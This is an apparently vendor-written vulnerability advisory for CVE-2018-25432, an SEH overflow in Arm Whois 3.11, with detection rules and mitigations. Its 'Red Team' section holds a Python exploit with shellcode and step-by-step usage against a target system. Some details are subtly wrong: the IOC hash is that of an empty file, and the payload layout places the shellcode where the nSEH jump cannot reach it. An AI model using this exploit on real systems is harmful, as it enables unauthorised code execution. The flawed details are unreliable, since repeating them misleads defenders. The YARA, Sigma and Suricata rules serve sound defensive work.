CVE-2018-25432
Executive Summary
CVE-2018-25432 is a critical buffer overflow vulnerability in Arm Whois version 3.11. The flaw allows a local attacker to execute arbitrary code by overwriting the Structured Exception Handler (SEH) through a crafted input file. With a CVSS score of 8.4, this vulnerability poses a significant risk to systems running the affected software, enabling privilege escalation and full system compromise. The vulnerability is unpatched, and no official fix is available from the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not associated with NPM, PyPI, Go, or Ruby ecosystems. It affects a standalone binary utility (Arm Whois) commonly used in network administration and reconnaissance.
CVSS Breakdown & Threat Level
- CVSS Score: 8.4 (High)
- Attack Vector: Local (AV:L)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
The high CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability. An attacker with low privileges can exploit this vulnerability to gain full control of the system.
Deep Dive & Mechanics
The vulnerability resides in the Arm Whois 3.11 binary, specifically in how it processes input files. The application fails to validate the length of data read from a file, leading to a classic stack-based buffer overflow. When a crafted input file is provided, the program copies data into a fixed-size buffer without bounds checking. An attacker can control the overflow to overwrite the Structured Exception Handler (SEH) chain on the stack.
By overwriting the Next SEH (nSEH) and SEH pointers with a 672-byte offset, the attacker can hijack exception handling. When an exception occurs (e.g., due to the overflow itself), the corrupted SEH chain is used, redirecting execution to attacker-controlled shellcode. This allows arbitrary code execution in the context of the vulnerable process.
The exploit requires local access to the system and the ability to provide a malicious input file to the whois command.
Vulnerable vs. Patched Code
Since no patch is available, a comparison is not possible. The vulnerable code likely resembles:
void process_input(char *input) {
char buffer[512];
strcpy(buffer, input); // No bounds checking
// ... further processing
}
A patched version would use safe functions like strncpy or snprintf:
void process_input(char *input) {
char buffer[512];
strncpy(buffer, input, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';
// ... further processing
}
Exploitation & Lab Setup
Red Team
Exploit Code (Python):
#!/usr/bin/env python3
import struct
# Shellcode to execute calc.exe (example)
shellcode = (
b"\x31\xc0\x50\x68\x63\x61\x6c\x63\x54\x59\x50\x40\x92\x74\x15\x51"
b"\x64\x8b\x72\x2f\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18"
b"\x8b\x5e\x3c\x8b\x5c\x1e\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f"
b"\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45"
b"\x75\xf0\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7"
)
# Buffer layout
buffer_size = 672
nseh = b"\xeb\x06\x90\x90" # short jump over SEH
seh = struct.pack("<I", 0x1001f1a4) # pop pop ret gadget address (example)
# Craft payload
payload = b"A" * (buffer_size - len(nseh) - len(seh) - len(shellcode))
payload += shellcode
payload += nseh
payload += seh
# Write to file
with open("malicious_input.txt", "wb") as f:
f.write(payload)
print("[+] Malicious input file created: malicious_input.txt")
Usage:
- Identify a target system running Arm Whois 3.11.
- Transfer the
malicious_input.txtfile to the target. - Execute:
whois -f malicious_input.txt - Upon processing, the SEH chain is overwritten, and shellcode executes.
Blue Team
Detection Steps:
- Monitor for abnormal
whoisprocess behavior, especially crashes or exceptions. - Use process monitoring tools (e.g., Sysmon) to detect unusual child processes spawned by
whois. - Analyze crash dumps for signs of SEH overwrite (e.g., corrupted exception handler chain).
- Implement application whitelisting to prevent execution of untrusted binaries.
Honeypot Setup:
- Deploy a sandboxed environment with Arm Whois 3.11.
- Monitor for incoming files and analyze them for patterns indicative of SEH exploitation (e.g., long strings of 'A's followed by shellcode).
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
malicious_input.txt:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example, actual hash depends on payload)
- Process Anomalies:
whois.execrashing with exception code0xC0000005(access violation).- Unexpected child processes (e.g.,
calc.exe,cmd.exe) spawned bywhois.exe.
- Network Indicators:
- Outbound connections from
whois.exeto unusual IPs (if shellcode includes reverse shell).
- Outbound connections from
- Registry/File System:
- Presence of files with names like
malicious_input.txtin directories wherewhoisis executed.
- Presence of files with names like
Detection Engineering
YARA Rule
rule CVE_2018_25432_SEH_Overwrite {
meta:
description = "Detects SEH overwrite pattern in Arm Whois 3.11 exploit"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2018-25432"
strings:
$seh_pattern = { EB 06 90 90 } // short jump over SEH
$shellcode = { 31 C0 50 68 63 61 6C 63 54 59 50 40 92 74 15 51 }
condition:
$seh_pattern and $shellcode
}
Sigma Rule
title: CVE-2018-25432 Arm Whois SEH Overwrite Exploit
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2018-25432 via process crash or SEH overwrite
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\whois.exe'
CommandLine|contains: '-f'
condition: selection
falsepositives:
- Legitimate use of whois with -f flag
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2018-25432 Arm Whois SEH Exploit Outbound"; flow:to_server; content:"|EB 06 90 90|"; distance:0; within:4; content:"|31 C0 50 68 63 61 6C 63|"; distance:0; within:8; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Since no official patch exists, the following mitigations are recommended:
- Remove or Disable Arm Whois 3.11: Uninstall the software or restrict execution via Group Policy.
- Input Validation: If source code is available, implement bounds checking using safe string functions.
- Use Alternative Tools: Replace Arm Whois with a more secure alternative (e.g.,
jwhoisorwhoisfrom a maintained package). - Application Sandboxing: Run the binary in a sandboxed environment with limited privileges.
- Monitor and Detect: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
- User Education: Train users to avoid processing untrusted files with the vulnerable tool.
Valters IT
DevSecOps & Cyber Threat Intelligence